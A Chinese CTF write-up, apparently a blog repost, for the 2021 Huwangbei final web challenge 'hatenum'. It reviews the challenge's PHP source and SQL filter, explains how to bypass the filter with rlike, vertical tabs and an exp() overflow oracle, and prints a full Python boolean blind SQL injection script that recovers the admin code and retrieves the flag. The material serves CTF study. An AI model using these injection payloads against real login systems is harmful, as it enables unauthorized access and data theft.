2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析

2025-02-14 30 0

2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析

(CTFHUB平台)

首页

2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析插图

源代码分析

  • 源代码目录结构如下:
    2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析插图1

  • index.php

    • 首页页面, 使用post方法提交登录表单到login.php

  • config.php

    • User类,包含MySQL数据库登录\用户查询\用户创建\用户信息验证(login) 功能

      • 其中login用户信息验证中包含sql语句拼接和code验证(code来自$res, $res来自select检索到的信息, 故猜测code的值唯一(对所有用户唯一还是对单个用户唯一需要确认))

      • 2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析插图2

    • array_waf递归检测接收的数据, 分别进行num_waf数字检测(9位10进制或9位16进制)和sql_waf检测(检测是否包含关键字符)

  • register.php

    • 引入config.php

    • waf检测index提交的表单的数据

    • 限制username长度最大30

    • User.find 查询username是否存在, 若存在返回到index, 若不存在 User.register注册账号

  • login.php

    • 引入config.php

    • waf检测index提交的表单的数据

    • 若表单各项数据都不为空, 则User.login(表单数据),使用表单数据进行登录(与数据库信息匹配)

    • 若成功则跳转到home页面(必定会携带cookie) 失败则到index重新登录

  • home.php

    • 检测登入用户的用户名是否为 admin, 若是则 echo file_get_contents('/flag') 返回flag信息

思路

获取flag就只能 admin登录成功才行, 故需sql注入绕过密码, 由于code是直接判断不在sql语句中, code无法绕过, 因其唯一性且没有登录次数限制, 可以进行暴力破解

  • 0, 验证code值的唯一性, 尝试拆解破解code值

  • 1.1, 直接使用admin, 绕过密码验证, 使用code登录

  • 1.2, 根据响应包和cookie值, 尝试进行垂直越权

开干

绕waf

sql_waf为'/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i'
数字waf为'/\d{9}|0x[0-9a-f]{9}/i'

  • 密码绕过如下:

username=admin
password=||1#
select * from users where username='admin' and password='||1#'
  • 爆破code
    根据sql_waf和sql语句(注入点只有 password)以及 home返回值为 flag或hello username, 返回内容有限只有errorlogin fail两种(由于是通过password破解code,code的值不重要可忽略, 即不可能出现login success),故采取布尔盲注

    • 盲注正确为 login fail

    • 盲注错误为 error

布尔盲注

盲注通常会使用这些关键字: 字符截取类(substr) , 条件判断类(if), 语句分割类(空格,/**/), 逻辑判断类(and,or,>,<,=,!=), ASCII, 注释符(--,#)

字符串截取类

  • 禁用:substr、left、right、mid

  • 绕过: like、rlike、instr

其中like与rlike的区别是 rlike支持正则表达式,而like只支持如%,_等有限的通配符

语句分割

  • 禁用: 空格、r(%0d)、n(%0a)、t(%09)

语句之间分割常常使用空格

  • 绕过: %a0(&ampnbsp)、%0b(垂直制表符)、%0c(换页符)

逻辑运算

  • 禁用: and、or、=、>、<、regexp

  • 绕过: &&、||、 like、greatest、least

条件判断(case, nullif)

  • 禁用: 因为禁用了,,所以if 语句没发使用----------------------

盲注思路: 先盲注 长度, 在依次盲注字符

编写脚本(payload解析)

由于不确定 code 是对 所以用户唯一, 还是每个用户单独一个code, 以下的payload要对username做出限制,限制为admin

  • 获取code长度

  • payload为 ||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#

    • && username rlike 0x61646d &&限制username为包含adm(即admin), 为防止出现 adm111之类的username, 适当修改匹配的字符, 看破解的code是否相同

# 0x61646d 解码后为 adm 
def get_code_length():
    for i in range(20):
        guess_length_payload=f'||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#'
        # guess_length_payload=f'||exp(710-((length(code)) like ({i})))#'
        payload=guess_length_payload.replace(' ',chr(0x0b))
        data={
            'username':'admin\\',
            'password':payload,
            'code':'123'
        }
        response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
        if 'fail' in response.text:
            return i
        
    return False
  • 获取code

  • payload:||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#

    • 由于waf限制超过9个字符的16进制或10进制会被检测到, 故选择8个16进制(即4个字符)来进行匹配, 绕过waf

    • 由于普通的rlike不能准确匹配大小写, 故使用binary进行二进制比较(能够比较大小写)

注意:

  • 由于每次只能匹配3-4个字符, 且rlike只能 从左往右匹配第一个, 导致 当code中存在重复的字符时, 结果可能出错, 无法匹配到末尾字符2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析插图3

  • 故 增加末尾匹配, 从多维度进行分析2021-数字中国创新大赛-虎符网络安全赛道-决赛-Web-hatenum 及 源代码分析和payload脚本分析插图4

  • 这和真实的code还是有一定差距, 但是 通过分析,可以以极少的数据量, 枚举出结果

def str2hex(raw):
    ret = '0x'
    for i in raw:
    
        # ord 返回对应的ASCII数值,hex 返回16进制数,以字符串形式表示,rjust返回一个长度为2的字符串,不够用0替补
        # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
        ret += hex(ord(i))[2:].rjust(2,'0')
    return ret


def get_code(length):
    # 从开头匹配
    tmp='^'
    result1=''
    while len(result1) < length:
    # 不知道是否包含特殊字符和数字,先使用字母进行匹配
        for i in string.ascii_letters:
            guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
            payload=guess_str_payload.replace(' ',chr(0x0b))
            data={
                'username':'admin\\',
                'password':payload,
                'code':'123'
            }
            response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result1+=i
                if len(tmp) == 3:
                    tmp=tmp[1:]+i
                else:
                    tmp+=i
                break
        log.info(f'result1 =>{result1}')
    # 从末尾匹配
    tmp='$'
    result2=''
    while len(result2) < length:
    # 不知道是否包含特殊字符和数字,先使用字母进行匹配
        for i in string.ascii_letters:
            guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
            payload=guess_str_payload.replace(' ',chr(0x0b))
            data={
                'username':'admin\\',
                'password':payload,
                'code':'123'
            }
            response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result2=i+result2
                if len(tmp) == 3:
                    tmp=i+tmp[:-1]
                else:
                    tmp=i+tmp
                break
        log.info(f'result2 =>{result2}')

    if result2==result1:
        return result1
    else:
        log.debug(f'长度:{length},result1:{result1}, result2:{result2}')
    
        return input('输入分析后的 result:')
  • 获取flag

  • 注意 允许跳转(默认), 在响应体中匹配hub等flag字符

def get_flag(code):
    guess_str_payload='||1#'
    payload=guess_str_payload.replace(' ',chr(0x0b))
    data={
        'username':'admin',
        'password':payload,
        'code':code
    }
    response=requests.post(base_url+'/login.php',data=data,proxies={'http':'127.0.0.1:8080'})
    if 'hub' in response.text:
        return response.text
    else:
        return False

总代码

import requests
from loguru import logger as log
import string

base_url='http://127.0.0.1/hatenum'


# 0x61646d 解码后为 adm 
def get_code_length():
    # guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {}))#'
    for i in range(20):
        guess_length_payload=f'||1 && username rlike 0x61646d && exp(710-((length(code)) like ({i})))#'
        # guess_length_payload=f'||exp(710-((length(code)) like ({i})))#'
        payload=guess_length_payload.replace(' ',chr(0x0b))
        data={
            'username':'admin\\',
            'password':payload,
            'code':'123'
        }
        response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
        if 'fail' in response.text:
            return i
        
    return False


def str2hex(raw):
    ret = '0x'
    for i in raw:
    
        # ord 返回对应的ASCII数值,hex 返回16进制数,以字符串形式表示,rjust返回一个长度为2的字符串,不够用0替补
        # 转换16进制,16进制在数据库执行查询时又默认转换成字符串
        ret += hex(ord(i))[2:].rjust(2,'0')
    return ret


def get_code(length):
    # 从开头匹配
    tmp='^'
    result1=''
    while len(result1) < length:
    # 不知道是否包含特殊字符和数字,先使用字母进行匹配
        for i in string.ascii_letters:
            guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(tmp+i)}))#'
            payload=guess_str_payload.replace(' ',chr(0x0b))
            data={
                'username':'admin\\',
                'password':payload,
                'code':'123'
            }
            response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result1+=i
                if len(tmp) == 3:
                    tmp=tmp[1:]+i
                else:
                    tmp+=i
                break
        log.info(f'result1 =>{result1}')
    # 从末尾匹配
    tmp='$'
    result2=''
    while len(result2) < length:
    # 不知道是否包含特殊字符和数字,先使用字母进行匹配
        for i in string.ascii_letters:
            guess_str_payload=f'||1 && username rlike 0x61646d && exp(710-(code rlike binary {str2hex(i+tmp)}))#'
            payload=guess_str_payload.replace(' ',chr(0x0b))
            data={
                'username':'admin\\',
                'password':payload,
                'code':'123'
            }
            response=requests.post(base_url+'/login.php',data=data,allow_redirects=False,proxies={'http':'127.0.0.1:8080'})
            if 'fail' in response.text:
                result2=i+result2
                if len(tmp) == 3:
                    tmp=i+tmp[:-1]
                else:
                    tmp=i+tmp
                break
        log.info(f'result2 =>{result2}')

    if result2==result1:
        return result1
    else:
        log.debug(f'长度:{length},result1:{result1}, result2:{result2}')
    
        return input('输入分析后的 result:')

def get_flag(code):
    guess_str_payload='||1#'
    payload=guess_str_payload.replace(' ',chr(0x0b))
    data={
        'username':'admin',
        'password':payload,
        'code':code
    }
    response=requests.post(base_url+'/login.php',data=data,proxies={'http':'127.0.0.1:8080'})
    if 'hub' in response.text:
        return response.text
    else:
        return False


if __name__=='__main__':
    length = get_code_length()
    log.debug(f'code 长度为:{length}')
    if length:
        code=get_code(length)
        log.debug(f'采用的code为: {code}')
        flag=get_flag(code)
        if flag:
            log.success(f'{flag}')
        else:
            log.error('flag 获取失败')

reference

2021-虎符网络安全赛道-hatenum | exp()函数与正则过滤-CSDN博客

[文章 - 如何使用 MySQL exp() 函数进行 Sql 注入 - 先知社区](https://xz.aliyun.com/news/9304#:~:text=我们知道,次方到后边每增加 1,其结果都将跨度极大,而 MySQL 能记录的 Double 数值范围有限,一旦结果超过范围,则该函数报错。 这个范围的极限是 709,当传递一个大于,就会引起一个溢出错误: 除了 exp () 之外,还有类似 pow () 之类的相似函数同样是可利用的,他们的原理相同。)


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

[Meachines] [Easy] PC gRPC HTTP2 SQLI+KTOR-HTTP扫描+pyLoad 0.5.0 js2py滥用权限提升
x64环境下完全隐藏导入表技术全解析
[Meachines] [Easy] Wifinetic FTP匿名登录+Reaver WPS PIN密码泄露权限提升
[Meachines] [Easy] Horizontall Strapi RCE+KTOR-HTTP扫描+Laravel Monolog 权限提升
网络钓鱼即服务平台 Darcula 现已支持自动生成针对任何品牌的钓鱼工具包
如何依据GDPR起诉公司数据滥用与隐私侵犯行为

发布评论